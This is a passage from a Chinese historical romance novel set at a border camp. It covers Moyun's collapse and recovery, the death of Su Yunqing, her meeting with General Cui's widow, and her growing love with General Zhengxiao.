茉云终于飞驰进了裴桥边关，马蹄声在营地内回荡，她硬撑着伤痛，飞身下马之时都是用手撑着地，可她起身又不顾一切的冲向主营，掀开营帐的帘子，几乎是踉跄地进了主营帐。
可是，眼前的一切让她愣住了——主营帐内一片混乱，空气中弥漫着血腥味，帐内的场面惨烈，显然经历了激烈的厮杀。
沧海和千山紧随其后进入营帐，看到这一幕，千山焦急地吼道：“少主呢？”
此时不言正在为小马查看伤口，他抬头便说道：“大将军，他……”
“他怎么？”沧海望向他，马上急切地追问道
茉云亦望向不言，眼中充满焦虑和急切，而不言看见茉云的神情却顿了顿，便指向桌案上的血迹，语气沉重：“大将军快不行了……”
这句话如同晴天霹雳，重重地击中了本已筋疲力竭的茉云，她的面色瞬间苍白，眼中闪过一丝不可置信，猛然间剧烈的怒火与伤痛一同涌上来。这一刻，所有的伤病与痛楚汇集成了无法抑制的情绪，顷刻间她只觉呼吸急促而困难，胸口像是被一块巨石压下。
“我跟你说，都是被你气的！”不言却丝毫未察觉，没好气的继续说道。
可茉云好似已然听不见，她身体骤然失去控制，急怒攻心之下，一口鲜血猛地喷出，染红了她的嘴唇，眼前一黑，身体直直倒了下去。
“头！”
“茉云！”
众人惊呼，瞬间看着茉云这么直直地倒下去，营中满是慌乱与震惊。
就在此时，正啸刚好进入营帐。他是听到茉云的马声，才从白神医那里赶来主营。其实他们刚刚经历了激烈的厮杀，早已成功引出了杀手并铲除掉了敌人。
可是当他一入营帐时，就见到茉云一口鲜血喷出，倒在地上，他不顾一切地一把将茉云抱起，目光慌乱中，紧紧抱着茉云便往白神医的营帐送。
白神医震惊地看着被抱进来的茉云，马上指着床榻说道；“快放下！”
正啸将其轻轻放下，白神医迅速上前，仔细地给茉云探脉，眼神凝重，指尖轻轻按压在她的脉搏处，长长叹了口气。
片刻后，他转身，目光望向正啸，只见正啸那一贯沉稳的面容此时显露出明显的惶恐，眉头紧锁，如此惊慌失措。白神医看着这一幕，却没有立刻开口。
正啸见白神医长时间不发一言，焦急地开口道：“怎么样？”
白神医见状微微一笑，此时正啸的神情中闪出了一丝忿然，要知道白神医是长辈亦是医者仁心之人，他素来对他十分尊敬，可此时他是真的急了……
白神医语气轻松带着一丝调侃：“我只是鲜少从大将军的眼中看到如此神情，故而怔了半刻。茉云她没有大事，身上有伤，余毒未清，又经此事，身心俱受重创，胸中郁结难消。这丫头却不肯好好养伤，还如此胡闹，定是一夜没睡，还经历了打斗，又一路疾驰而来，血肉之躯怎承受得住，但福祸相依，她将这口淤血吐出反倒有助于缓解其病症。”
正啸听到这里，终于松了口气，脸上的紧张渐渐消散。他目光望向茉云，目光才渐渐柔和了下来。
然而，就在此时，营帐外传来了一阵声音。只见沧海怒气冲冲地一把拎住不言，声如洪钟地吼道：“她知道一队杀手在大将军身边，一路狂奔而来，本就急坏了，人好好的，你这小子，跟茉云说大将军出事了干什么？”
不言的声音有些颤抖：“我说大将军快被她气死了，谁知道她这么……”
白神医摸了摸自己的胡须，从容地笑了，对帐外的人大声说道：“茉云无事，诸位莫急，让她先好些歇息。”
营帐外的人听到白神医的声音，顿时松了口气，心头的紧张与不安才瞬间化解。
正啸此时深吸一口气，伸手摸了摸茉云的脉搏，感受到脉搏渐渐趋于平稳，终于放心下来。
直至深夜，茉云才从沉睡中醒来，她的眼睛微微睁开，周围一片安静，她还是觉得一阵头晕目眩，身体依旧虚弱，可她瞬间掀开被子，支撑着立刻起身，她要去找他……却突然听见了营帐外熟悉的声音。
传来的是正啸的声音：“你去休息，晚上我守着她。”
茉云微微停顿，眼神里有一丝疑惑与茫然，起身踉踉跄跄的往营帐外走，可她压根分不清此刻是醒还是梦。
此时，正啸掀开了营帐帘，走了进来，抬目便看见神情焦急的茉云。
茉云看到他时，心中不由自主地涌起一股情感，眼中的焦急化成了淡淡湿润，她伸出了手，想判断眼前之人是真，还是她的幻觉。
她的脚步摇晃，艰难地迈步向前，直视着正啸，轻轻地开口问他：“你是真的吗……”
可话未说完，茉云便被正啸猛然一拉，整个人顿时失去平衡，跌入了他的怀抱。一只手强有力的扣住了她的后脑，毫不犹豫地将她拉近，没再给她任何思虑的机会，正啸俯身霸道而深沉的吻了上来。
他的拥抱如此强烈不容反抗，呼吸如此炽热，茉云无法挣扎，不得不沉沦在这份失控地温柔中。
她一直以来都是掌握自己的人，但此刻，她却连呼吸都被占据。他的的吻如此强势而放肆，好似在疯狂索取她的气息。两人所有的思绪理智好似都在此刻沦陷。
直到正啸感受到茉云虚弱至极，他才终于松开了她，依然一把紧紧抱她在怀中，越抱越紧，茉云只觉得自己好像被他抱得快要融入他的身体一般。
她感觉着他的心跳与自己的心跳都如此热烈，慢慢地沉沉地闭上了眼睛，沉浸在这一刻久违的安宁与无法克制的情意中。
正啸一直紧紧地将她搂在怀里，将内力输入她的体内，试图温暖她那冰冷的身躯。片刻后，他望向她，俯身重重的吻了一下她额前，带着他浓烈的爱护与疼惜，仿佛想要把她的痛苦与寒冷都带走……
半夜之时，茉云再次被噩梦惊醒，睁开眼睛，正啸在床旁的竹躺椅上安静地睡着，而他的手却一直握着自己的手，她轻轻松了一口气，眼中闪过一丝柔情，难怪自己沉睡中好似都能够感觉到暖意从手心弥漫至全身。
看着他在身旁安睡的模样，茉云的心头涌起一股莫名的安稳。她闭上眼睛，再次陷入了梦乡，安心地沉睡过去。
她知道，这世上所幸还有一个地方，能让自己觉得安稳而温暖，那就是——他的身边。
翌日日上之时，阳光已洒满营帐，茉云才慢慢醒来，身体依旧有些沉重，但是伤痛缓和了些许。而此时，正啸正好端着一碗热腾腾的面走进来放在桌上。
茉云本已饥肠辘辘，拿起筷子便埋头吃了起来。
正啸则静静地坐在桌旁，威武的气势仍如同一座山岳，但眼神却温和地注视着茉云。
茉云埋头吃着面，眼中带着一丝
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疲惫，却又透出一份难得地平静，她忽然想到昨晚的事情，心中一阵翻腾，她停住了筷子，目光微微闪烁，随即抬头看向正啸便问道：“昨晚……”
可她欲言又止，她不知如何问起，自己也无法分辨那一刻是梦还是现实。
正啸撑着头看着她，神情沉稳地说：“你没做梦！”
茉云怔了怔，眼神透出一丝震惊的忿然，没好气地问道：“你……不觉冒犯吗？”
正啸依旧神情平静，嘴角似有似无地微微扬起一抹笑意，一脸的自在，眼神好似在说不觉得。
茉云没好气躲开了眼神，继续吃面，想着什么又说道：“你怎么知道我是设计诓他们，你就这么自信，觉得我不会拿你下手？”
正啸淡然地倒着茶答道：“我没这个自信。”
茉云抬眼看着正啸，质疑的继续问道：“那你为何突然派沧海他们来？”
正啸一脸坦然地缓缓说道：“我是那日出刺史府之时，见到裴桥闹事民众领头之人，是你当日中州第一号下属，才意识到你定又在搞什么鬼。”
茉云听了，终于露出了一丝笑意，说道：“没想到中州的小乞丐已长成小伙，你还认得出……昔日老马最关照他了，他都还没来得及报恩，却只能来帮老马报仇了！”
她说着深吸一口气，眼中闪过一丝怅然，随即低头继续吃面。
这一片刻的沉默，弥漫在两人之间，尽管言语不多，却已足够温暖。两人静静地坐着，享受这一刻的安宁。又经历了这场波折和纷乱，能够这样平静地在一起，已属难得。
稍晚些时，白神医进来为茉云探脉，叮嘱她一定不要再胡闹了，先清除余毒，再好好养伤，茉云看似乖巧的点点头，白神医则深深叹了一口气，这丫头能做到才怪了……
下午执礼在营帐中将案情的始末汇报给正啸，众人听之皆沉默了，小马等人本义愤填膺约定，定要为老马报仇，这一刻都不知道该说什么，都是人世悲凉。
而就在此刻，营帐外来报，说是有城中信鸽到了，执礼马上走出去取信，信上带来了一条消息：苏云青怕是撑不过今日。
执礼旋即走入主营像正啸汇报，话音刚落，营帐外便传来急促的马蹄声，是茉云一骑绝尘地开了边关营地。众人纷纷看向正啸，白神医刚刚吩咐她要好些修养的。
正啸则放下手中的军务文书，轻声说道：“让她去吧。”
执礼点了点头，语气平静：“让茉云去送故人最后一程也好，少主，萧怀逸您打算……”
正啸顷刻间眼神中透出一丝冷意：“让他回京自行请罪，不要再出现在军营。”
“是。”执礼恭敬地点头，他也知道正啸定然不会容忍。
然而，正啸忽然严厉地看向执礼，语气冷冽：“我看你也滚回京城吧。”
众人都吃惊地看向正啸，为何要处置军师，执礼却丝毫不慌张，胸有成竹地跪下说道：“少主莫要恼我，茉云此计我未告知您，而是配合茉云去哐他们，这是卢老太君的吩咐我的。”
正啸冷冷地盯着执礼，眼中闪烁着质疑，谁都知道卢老太君远在京城。
执礼拿起怀中的信举了起来：“老太君让罗景城大人带了信给属下，老太君说，任方茉云怀疑天，怀疑地，你随她。但我卢家用人不疑，疑人不用，我信她定能查出来，你就让她查，配合她，她要是想捅卢正啸一刀，你就递把刀给她，我倒要看她捅不捅得下去。”
执礼说完，众人忍不住笑出声来，而正啸的严肃神情中也透出一丝无奈，他起身走出帐外，随即上马，亦往城中去了。
262.悔憾
当茉云踏入内院之时，内院便传来苏老夫人那撕心裂肺的哭喊声，让她顿时心中一顿，伸手扶住了院门的石柱，缓了缓才继续前行。
苏老夫人一眼便看到走入房间茉云，顿时瞪向她，眼中充满了仇恨与指责：“你滚，不要再靠近我儿子床边半步！是你引来了峑戎，害死了我儿子！”
茉云的目光没有回避，心中已经准备好面对这一切的指责。
此时，季岚站在一旁，开口说道：“老夫人，在你家少夫人丫鬟的房间暗格里，搜出了她和暗营的用老暗文交流的密信。之前峑戎国师暴毙，很多埋得很深的暗探都失散了。上次裴桥大捷交战时，暗营才发现你家丫鬟，乃暗营多年前布下的暗探。而信中还写了，他们本密谋在城中下毒，并谋害裴桥刺史全家，是因为茉云回了裴桥，他们认为害茉云更有价值罢了。不然苏家也许全家早亡了！”
这一番话如同晴天霹雳，苏老夫人愣了半刻，目光呆滞，逐渐从不可置信转为震惊。她脑海中一片混乱，是她百般操持让自己儿子娶到了英烈之后的安群芳，后来成了声名显赫的裴桥刺史，谁曾想，这一切的终究化成了一场悲剧。
茉云缓步走到苏云青床前，低声说道：“云青哥哥，你曾说不要去看人世的丑恶，把目光留给四季年华，欢喜美好之事，所以你不愿睁开眼睛……也好。”
然而，苏云青好似听到了她的话语，忽然缓缓睁开了眼睛，让周围的众人都为之诧异。而他扫视床边之后，发现人已不在了……透出了哀莫大于心死的眼神。
在旁边为他探着脉的大夫，长叹一口气，知道这一刻的睁眼只是回光返照了，他的脉像已经是大去之向。
云青的目光微微迷离，看向茉云，低声说道：“可你曾说，人若无面对丑恶的勇气，何以击败它……但着实好难。”
茉云深吸一口气，云青当日定然已猜测到裴桥大祸之缘由就是他的枕边人，如今醒来见到安群芳人已经不见了，证明了他当日所想没错……他定是心中万分悲痛和抱憾。
茉云强忍心中伤痛，微微一笑，如幼时一般盘腿坐在床边，在他耳旁说道：“云青哥，我自小便老是来你这骗吃骗喝骗钱，总该做点什么报答你，说吧，你有什么想吃的，想要的吗？”
云青望着她终于温和的笑了，可目光中仍透出一丝哀痛，低声问道：“可否将我和我夫人同穴而葬？不论如何，我都愿与她一力承担！”
茉云愣了半刻深深看向他，点点头，轻轻说道：“好。”
若辰夫妇他们都站在一旁，季岚顷刻间泪水盈满了眼眶。
茉云则还是灿然笑着，说道：“你不用觉得遗憾，我已将那幅画给她看了，她走之前，终知你心意。”
云青听到这话，终于深深叹了口气，轻轻地点头说道：“我若早察知内心，早明了她心中之苦便好了……所以，茉云，莫要让人生悔憾，当言则言，当珍惜便珍惜之，也许转瞬就没机会了。”
茉云静静点点头，强忍着心中翻腾的心绪。
云青的气息越来越虚弱，低声说道：“就像你说……下次……带我去见见他，怕是也没机会了……”
而恰恰此时，正啸刚好下马赶到刺史府，门外传来了通报声：“大将军到！”
茉云在云青耳边，轻声说道：“他来了。”
云青拼尽全力抬眼望向门口，正啸径直入府，便来了云青房间。
他疾步踏入之时，威武霸气的气势铺面而来，但这威猛之气却在进门那一瞬间，被他望向茉云温柔的目光冲淡了几分。当他看到茉云安好地坐在床前，他终于轻轻松了口气。
而云青终于收回了目光，嘴角露出一丝放心的微笑，轻声说道：“极好的。”
茉云则轻轻深吸一口气，手都微微在颤抖，已经渐渐感受不到云青的气息了。
最后，云青转向若辰，语气坦然地说：“罪臣万死难赎罪，求大人您将我母亲送回老家。”
若辰深吸一口气，点点头说道：“苏大人任裴桥刺史职，忠君爱民，兢兢业业，受裴桥万民爱戴，何罪之有，你所托之事，我定办好，放心吧。”
季岚擦拭着眼角的泪水，低声说道：“让老夫人陪苏大人说说话吧。”
众人缓缓退出房间，往外走去。还未走出内院大门时，突然传来老夫人歇斯底里的哭喊：“儿啊，你这一生，都是娘害了你啊！”
茉云一个踉跄险些摔倒，然而，她没有跌下去，因为一只有力的手突然扶住了她。茉云虚弱的转头望向正啸，四目相触之时，正啸忽然一把抱起了她，往她在府衙住的房间走。
若辰和季岚看着亦都愣了半刻，季岚擦擦泪水吃惊的看着。
千山深吸一口气望向若辰说道：“还请您速派人去接白神医来，茉云伤得很重，昨日回营之时还吐血了。”
“好！”若辰马上晃过神说道。
茉云被轻轻放到床上之时，便深深地闭上了眼睛，这世上真心诚意待自己好之人，又走了一个……
正啸深吸一口气为她盖好被子，伸手抚开她脸上的乱发，然后为她探脉，还好脉搏还算平整。
晌午后，钦差罗景城大人和御史台余震大人都来到了刺史府议事，二人坐下后，气氛依旧异常沉默，整个刺史府都透着难以言说的压抑和哀痛，四遭的气息凝滞，没人急于开口。
直到余震大人终于打破了这份安静，沉声说道：“既然案情已经查明，大将军、关大人，我们明日就启程回京复命了。”
若辰温和的点了一下头，然而罗景城大人显然并不急于回京，转头狠狠地瞪了余震一眼，语气中带着明显的不悦：“你一早就知道方茉云此计了？”
余震没有正面回答，只是低头轻轻端起茶杯，他身旁的属下伍大人旋即接过话来，语气带着一丝无奈：“方将军行事何曾会告知我们？我们大人怎可能知她的计划。”
然而，罗景城显然不满于这种解释。他指着余震声音高了几分，满脸愤怒地说道：“所以整个案子我都没有见你查过半分，出过一丝一毫力。”
余震望向罗景城，语气坦率且带着忿然：“罗大人，案子只有要方茉云在，我每次来都是被耍的，何必浪费功夫。”
罗景城的愤怒并未平息，他继续指责道：“那你为何不早说！”
余震冷哼一声，无奈且不爽地回道：“她哪个案子不是先跟卢正啸来个天翻地覆，用以麻痹敌人再下狠手，如今峑戎都不信她会背叛卢正啸了，您为何信？咱不过都是她戏里的角罢了。”
罗景城顿时语结瞪向正啸。然而，正啸依旧一脸冷静，毫无表情，在场之人听到这儿，却都有些忍俊不禁，余大人好像总结得极为透彻。
“那你也提醒我一下啊，让我里里外外查了这么久，终日为他们忧心，觉都睡不着，我担心我回了京城，他们两人中只要一个有事，我师娘不剁了我。”罗景城依旧没好气的骂道。
伍大人见状，忙笑着赔着小心：“罗大人，方将军行事自有其章法，我们怎好打乱其阵脚到处说，万一一个不小心怀了她的事，都收不了场啊。”
余震则悠然自得地喝着茶，语气轻松地说道：“也不尽然，我看连卢正啸他自己都信了，气得七窍生烟，我也没说什么好说的。”
正啸眼中闪过一丝无语，压根懒得搭理余震的，周围的人却忍俊不禁。
就在此刻，万莫急匆匆地跑进了屋里，脸上满是着急：“少主，茉云又不见了！”
正啸听到此话，丝毫未迟疑地站起身，疾步朝外走去。
景城看着正啸离去的背影，无语地说道：“事还没有议完。”
若辰旋即温和的解释道：“景城哥，茉云现在还重伤在身。”
执礼也马上接过话：“罗大人，少主不得去寻她回来。”
“这丫头，也只有他搞得定。”罗景城轻轻叹了口气，语气中透出妥协与无奈。
余震则放下手中的茶杯，冷冷地补了一句：“我看未必！”。
顷刻间，堂内众人原本紧绷的情绪瞬间松弛，纷纷嘴角露出一丝笑颜，房间里终于多了一丝轻松。
黄昏将至，茉云翻过了围墙，进入了安家老宅。站在宅子前，她看着这座熟悉的地方，心中涌起的都是复杂之情绪。这里的一切依旧如当日那般，仿佛时光在那一刻的把酒言欢中凝固。
只是院中厚厚的灰尘覆盖了每个角落，提醒着人……这座宅子和那些美好轻松的回忆都已成过往。
茉云推门轻轻地走进了老马的房间，眼前的场景让她不禁停下脚步。房间里的一切都依旧，老马为他的孩子们准备的过年礼物还没来得及送回中州……她的心头一阵沉痛，深吸一口气。
她又转身缓步走向崔老将军的房间，屋内黄昏的微弱光线透过窗户洒在桌面上，那封未曾寄出的家书静静地摆在桌上，信中崔老将军跟他夫人说自己答应做他的义女，字里行间溢满了喜悦。
而在信旁边，还放着崔老将军最珍贵的崔氏菜谱。茉云站在桌前，久久不能动弹，感觉好似整个人都被抽空，心中充满了无尽的愧疚与哀伤。
就在这时，门口传来了一声温和而慈祥的声音：
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“你就是茉云吧？”
茉云猛然抬头，只见门口夕阳的余辉下，站着一位身着素衣的老妇人，面带慈祥的笑容，温柔地看向她。
“我是崔老将军的夫人。”老夫人看向茉云笑着介绍自己道，那笑容如同春日的阳光，温暖而亲切。
茉云顷刻认出了她——虽然她未曾见过崔老夫人，但眼前之人和崔老将军的描述一模一样，端庄有礼，温雅和善，笑如暖阳一般。
茉云瞬间就双腿一软，跪了下来。崔老夫人见状，立刻走上前扶起她：“孩子，地上凉。”
崔老夫人的声音如此柔和，带着母亲般的关怀。
茉云深吸一口气，眼中带着一丝痛楚，缓缓说道：“崔老将军是为救我而死的。”
崔老夫人握住她的手，声音温和却带着些许悲伤：“孩子，他是为国捐躯，他是裴桥主将，这是他的职责。”
茉云低头深吸一口气，眼中满是愧疚与懊悔：“若我不来裴桥，崔老将军也不必来，他本来要回荣休回京的！”
崔老夫人深深吸了一口气，似乎在努力平复内心的悲痛，她温和地说道：“我家那位，我知道，他没有看见南境平定，他是绝不甘心回京的。他之前来信说，能继续留在南境镇守裴桥，他欣喜万分。”
老夫人悲戚的声音中也带着一丝自豪，自豪于他夫君的英伟和赤诚。
茉云深吸一口气看向崔老夫人，她眼神中竟然没有半分责怪自己的意思，只有对崔老将军无尽的怀念。
崔老夫人走近，抬眼看向桌上的信，顿时隐忍不住，眼眶盈满了泪水，嘴角依然挂着微笑：“我还要感谢你，茉云。之前他来信说驻守西边，终日风沙巨石无趣得很，与你驻守裴桥，你性子活泼开朗又喜陪他逗趣，他年轻时便想有个女儿，可我们家就三个儿子。他说想收你为义女，不知你会不会答应他。”
老夫人的声音充满了柔情，仿佛在回忆着与夫君一切的美好。
当她拿起崔老将军的家书，眼泪无声地一滴滴滑落，但她的嘴角仍然上扬，继续说道：“他走之前那日写这封家书之时，定是万分欣喜的。”
茉云默默地陪在老夫人身旁，竟然一句宽慰之言也不知如何说，只能感受这崔夫人那份深沉的情感和思念。
崔老夫人却马上擦去了脸庞的泪水看向茉云说道：“瞧我，本是来劝你放下的。”
“干娘，为何是你劝我呢？”茉云深吸一口气看向崔老夫人说道，她的内心如潮水般翻涌，满是无尽的伤痛和歉意。
“因为干娘我啊，早就有了心理准备，而且我这一生跟他几十年夫妻，算是活得，无悔亦无憾了，最后我夫君选择精忠报国，我亦支持他，为他骄傲。”崔老夫人坚定而慈祥拍拍茉云的手说道，“倒是你，若将这罪责归于己，便会一生放不下，你义父定然不想你如此。”
茉云从怀中取出崔老将军留给自己的血书遗言和那块玉佩放在桌上，崔老夫人手微微颤抖，一眼便认出了丈夫的血书。
崔老夫人的泪水又隐忍不住地落了，可是依旧是嘴角上扬的笑了，自豪的说道：“你看，我夫君这字迹还是这般凌乱潦草，可是老将气势犹在！”
茉云看向血书深吸一口气，顿时眼眶微红了。
“你看他给你的遗言，赴死易，求生难。生者当承亡者之志，肩未竟之业，毕其一生夙愿。此后诸事，皆托付于汝！”崔老夫人抬起头看向茉云说道，“孩子啊，所以我们不必太过遗憾悲伤，承其志，毕其愿！”
茉云顿时咬紧了牙关看向崔老夫人说道：“好！”
“振作起来！”崔老夫人笑了，伸手给茉云拨开额头间的乱发，爱护地说道，“夜风凉，你有伤在身，切莫久留，我亦明日再来收拾我家老崔的遗物。”
“您？”
“我刚到裴桥，是正啸去接了我，请我来的，他想我能宽慰你一二。”
茉云深吸一口气，眼中露出一丝无语的忿然，马上说道：“干娘，我送您回。”
“不用送！”崔老夫人拍拍茉云的手笑了说道，“我小儿子亦在门口等我，我和他约好，等会儿逛逛他父亲为国尽忠的驻守之地。”
茉云深吸一口气才点点头，崔老夫人拿起崔老将军留下的玉佩，放在茉云的手上，然后慈祥的笑着说道：“你先答应我，要好好先将伤养好。”
茉云看着崔老夫人恭敬地说道：“好。”
茉云伸手扶着崔老夫人走出房，轻轻掩上房门，转身再去扶老夫人往前走，抬目之时愣了半刻，院门内那熟悉而魁梧的身影站在风中，在等她。
263.袒露
崔老夫人伸出手，轻轻拍了拍茉云的手，声音温柔而慈爱：“正啸在等你，跟他回去吧。”
茉云抬目看向崔老夫人，最终点点头。
正啸此时站在院门旁，深深地向老夫人行了一礼，带着对长者的崇敬和谢意。
崔老夫人慈祥地笑了点点头，轻轻走出了院门，身影在夕阳下显得温和而淡然，好似带走了院中的沉重。
茉云站在原地，眼神呆滞地看着崔老夫人的背影，突然，她的情绪像是被某种力量彻底冲破了一般。她疾步上前，一把扑进正啸的怀里，伸出双手紧紧拽着正啸的衣襟，眼泪瞬间决堤，一滴滴的落下。
正啸没有多言，只是缓缓低下头，手臂紧紧抱住她，用力得好似要把她抱进自己的胸膛。
任内心如何撕心裂肺般翻腾，茉云依然倔强的不肯哭出声，只让泪水静静落下，带着无尽的悲痛轻轻说道：“刚刚……崔老将军和老马还和我一起吃了一锅热腾腾的羊肉，那羊肉好吃极了，崔老将军说那汤里放了当归，可是……一转眼，他们就都走了，永远不归！”
她的声音颤抖而嘶哑，带着深深的痛楚，整个身体都在微微颤抖。
“世上待我好之人，都这么一个个匆匆走了！”
正啸深吸一口气，但他依然没有说话，只是用下巴轻轻贴在她的头顶用力抱着她，像一座沉默而坚实的山，任她在怀里，将压抑已久的悲伤全部宣泄而出。
夜幕缓缓降临，整个院子笼罩在静谧中，四周万籁俱寂，只有哀思在这空荡的院落中流淌，好似连夜风都染上这一丝忧伤，越发透出凉意。
正啸要带茉云回边关大营，他一把抱过茉云飞身上马，将披风盖在她的身上，茉云靠到他怀里，沉沉地闭上了眼睛，哪怕在这一刻暂时远离所有伤痛和疲惫也好。
月光如水慢慢洒向大地，正啸一手稳稳握住缰绳，一手环护着茉云，马蹄声轻缓地往边关营地而去。
走到一半时，茉云微微睁开了眼睛，眼中皆是迷茫，静静地看向夜空，忽然轻声问道：“我最近老是梦见老马穿着我的披风躺在那儿一动不动，崔老将军向天吼着卢家军，必灭峑戎，然后倒在血泊，还有青岚……你说，有一天这些伤痛会随着时间一点点消退，愈合吗？”
正啸低头看着怀中的她，目光深沉，茉云亦抬起头望向他，她知道正啸自幼便经历过太多这种失去的深刻之痛。
正啸的眉微微一蹙，语气低沉地说道：“不会，但是你会慢慢习惯带着这些伤痛活下去。”
茉云听到此，深深吸了一口气，眼神中透出一丝埋怨与失落，她叹息着说道：“你可真会说话，就当宽慰人，哪怕是哄我说‘能’也好啊？”
正啸语气轻柔，但是声音依旧坦然：“我不想骗你。”
茉云在正啸的怀里微微怔了一刻，抬目望向他。
正啸语气温和的，望向前方说道：“我是不善言辞，自幼我爷爷便是这么教我的，心不诚者，何必周旋。不论别人对我是恶意揣测，还是曲意误会，我都觉之没必要解释。但是，你若疑心于我，便来问我，我都会认真答你。”
茉云心中莫名一震，正啸亦低下头，目光炙热而深沉地注视着她。两人再一次四目相触，空气都好似飘荡着浓烈的情愫。正啸轻轻俯身，深深吻了一下茉云的额头，带着不容置疑的爱护与宠溺。
茉云恍惚的了半刻之后，倔强地瘪了瘪嘴，忽然感觉到两颊温热，便将自己埋进了正啸的披风里，但她仍然紧紧地靠着正啸那温暖的胸膛，轻轻的咬了咬唇……
远处，千山骑着马跟在后方，目光下意识地瞟向前方，正好看到了这一幕，旋即立马仓皇地收回眼神，试图装作什么都没看见。然而，当千山转头望向万莫时，却发现万莫一脸坦然地咬着手里的饼，目光平视前方，好似全然不觉有何不妥。
夜色渐深，马蹄声在夜风中逐渐远去，奔向边关营地，进入营地之后，正啸直接骑马到了茉云的营帐前，将她抱了进去。
茉云身体依旧虚弱，但神情却显得平静而坚毅。白神医的夫人为了茉云也赶来了裴桥边关，特地来为她清除余毒的，正啸将茉云拜托给她，让万莫在一旁好好的守着，自己才去了中营处理军务。
白夫人端着药走入了茉云的营帐，担忧的看着茉云说道：“此药你知道，会有些折磨人，五脏六腑皆会剧痛之感……但是挨过今晚就好。”
茉云点点头，稀疏平常的接过那药一饮而尽，白夫人愣了半刻望向她。如今她不嚷不叫的接过这碗药喝下，更叫人心疼，仿佛这人间的痛已经让她麻木，不觉疼了。
深夜，营帐静得悄无声息，只有偶尔传来的风声在耳畔回荡。正啸处理完军务，轻轻走进茉云营帐，只见白夫人和不言在一旁低声说话。
不言皱着眉头，有些困惑地问白夫人：“那药的药性极强，五脏六腑皆会如刀绞一般疼痛，她怎么一声不吭……不是我捡药，弄错了吧？”
白夫人轻轻吸了口气，脸上带着显而易见的担忧，白神医却安抚她夫人说：“那药我检查过，没问题。”
正啸听到这话眉头微皱，轻轻走到了茉云的床榻边。他忽然伸手便揭开茉云的被子，被子掀开的瞬间，只见茉云疼得握紧了双拳，指节泛白，整个人都在轻微颤抖，额头满是冷汗，可她咬紧牙关，死都不肯吭一声，好似要将这所有的苦痛都倔强的吞下。
正啸的目光一沉，毫不犹豫地伸手将茉云一把拉起，紧紧地抱进自己的怀里。营帐中众人皆吃惊了看着，可都没敢发出声音，白神医牵着白夫人，示意大家都轻轻走出营帐……
茉云的目光缓缓抬起，眼中疼得布满了血丝，眼底却透出无尽的痛楚与倔强，深深望向正啸。
正啸疼惜的抱紧她，将自己的侧脸贴近茉云冰冷的脸庞，低声在她耳边说道：“这疼，忍过就好。”
茉云听见了他的声音，她伸出手，用尽全力地抓住了正啸的臂膀，声音颤抖的说道：“那其他的痛呢？不会好了吗？”
正啸的怀抱紧紧地包裹着她，咬牙说道：“灭了峑戎，平了南境，完成了众人夙愿，也许会好些！”
“好！”茉云终于将头埋入正啸怀里，此刻也只有他还能给自己一丝慰寄。
营帐内静默无声，只有两人的呼吸交织在夜色中。外
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面的风吹得更加猛烈，却似乎无法撼动这一刻的温暖。
经过一个时辰，茉云的剧痛终于缓解，她的身体放松了些许，整个人也筋疲力竭，声音虚弱地轻轻地问道：“为什么你这么确定……时间久了，伤痛都不会消减？”
正啸轻轻松开了她，目光落在她的脸上，深吸一口气说道：“我至今闭上眼睛，还会看见我弟被当作是我，被峑戎杀手残忍杀害的样子。”
茉云怔了半刻，抬眼看向正啸，问道：“你在场？”
正啸点了点头，目光微微下垂，像是在揭开一段无法愈合的伤疤：“当日程叔捂住我的口鼻，不让我发声，拼死将我带走。可我仍亲眼看见他是如何被折磨致死的，他还那么小，一直在……叫着哥哥。”
他说到这里，声音微微一颤，眼神中满是隐忍的悲痛。片刻后，正啸继续说道：“我也还是常能看见……那日在战场上，我一眼便认出了对方射手是幽戎的兄长，我起初压根不知他们是峑戎人，故而我愣了半刻，他便朝我射出了致命的一箭，百林他替我挡箭，当场殒命。”
正啸咬着牙，双眉紧锁，声音中透着深深的愧疚与无奈。
茉云静静地听着，凝视着正啸，说道：“我第一次见你之时，是透过那张面具，先见你那双深沉的眼睛——比草原上的狼还深邃，还冷峻。所以我抬手便揭开了你的面具，却未曾想，你竟还如此年轻。”
她顿了顿，眼神中带着一丝疼惜地望向正啸。
“我很好奇你到底经历过什么，见过这世上何其残酷之事。原来，我猜得没错——你自幼，亦是身在最深的深渊。”
正啸的目光深深地看向茉云，眼中都是无法抑制的情绪，缓缓说道：“不只是幼时，你身陷御史台，进入暗营，被困裴桥之时，我都如身在地狱。”
茉云愣了一刻，眼中浮现出些许震惊与柔情。她望着正啸，想要说什么，却被他坦然的话语打断。
正啸的目光深深锁住她的眼睛：“我未曾有一刻希望你离开我身边。可是大战在即，我的身边便是人世炼狱，而我分身乏术。所以我问你——等等我，可否？待我平定南境后，再去寻你。”
“为何突然跟我说……”
“因为崔伯离开南营之时曾劝我说，放在心里不如说出口，世间事，很多你说了人都未必明白，何况你不说？这些日子，我万般懊恼……”
两人四目相触，那份克制已久的情意终于在此刻流淌而出。茉云的眼中浮现出了柔情与动容，她没有说话，却用目光回应了他。
正啸缓缓伸手，将茉云搂入怀中，俯身毫不犹豫地吻了下去。两人的呼吸交织，深深地沉浸在这一刻的亲密与爱意中。这一吻，带着太多未曾诉说的情感，深沉而热烈，两个皆曾经受人世重创的灵魂，像是在互相舔舐最深的伤口，又像是在将彼此的灵魂融为一体。
翌日清晨，东方破晓，茉云睁开眼睛看见正啸睡在了床榻旁的长椅上。她深吸了一口气望向正啸，如此热烈而深沉的情感，几乎让人沉醉，可是自己又从没有像现在这一刻，这么清醒过，她知道，他和自己哪怕粉身碎骨，都必须完成南境大业。
264.喜欢
日上之时，崔老将军的夫人来到军营，为崔老将军收拾遗物。关若辰夫妇亲自陪同而来，亦是代表南境官员对于英烈家属的最深切之敬意。军中诸将和裴桥的官兵整齐地列队在营地两侧，目光肃然，神情悲戚，皆带着深深的崇敬。
崔老夫人缓步走过，她虽然眼眶微红，但脸上却依然带着慈爱的笑容。她看着众人，语气温和而得体：“实在叨扰，老身耽误军务了。”
沧海带领诸将像崔老夫人行礼道：“崔姨，您请节哀，别太伤心。”
崔老夫人微微一笑点点头，语气中带着坚毅：“好，我们都要振作起来。你崔叔一直是个乐天之人，定然不希望大家为他太过伤感。”
众将听了，纷纷点头，但神情依旧肃穆，迎了崔老夫人入营帐。
此时，茉云也从自己营帐中走出来，正准备去见崔老夫人，却无意间瞥见营帐后面坐着一个男子，正偷偷地抹着泪。茉云顿时双眉微蹙扫了一眼，卢家军中居然有这样的软骨头，但她此时疾步往主营走去。
可突然听见那人哽咽的说道：“爹，你走后，再也没有人听我唱戏了……大伯，他们都说崔门无戏子，要我不要丢了家里的颜面……”
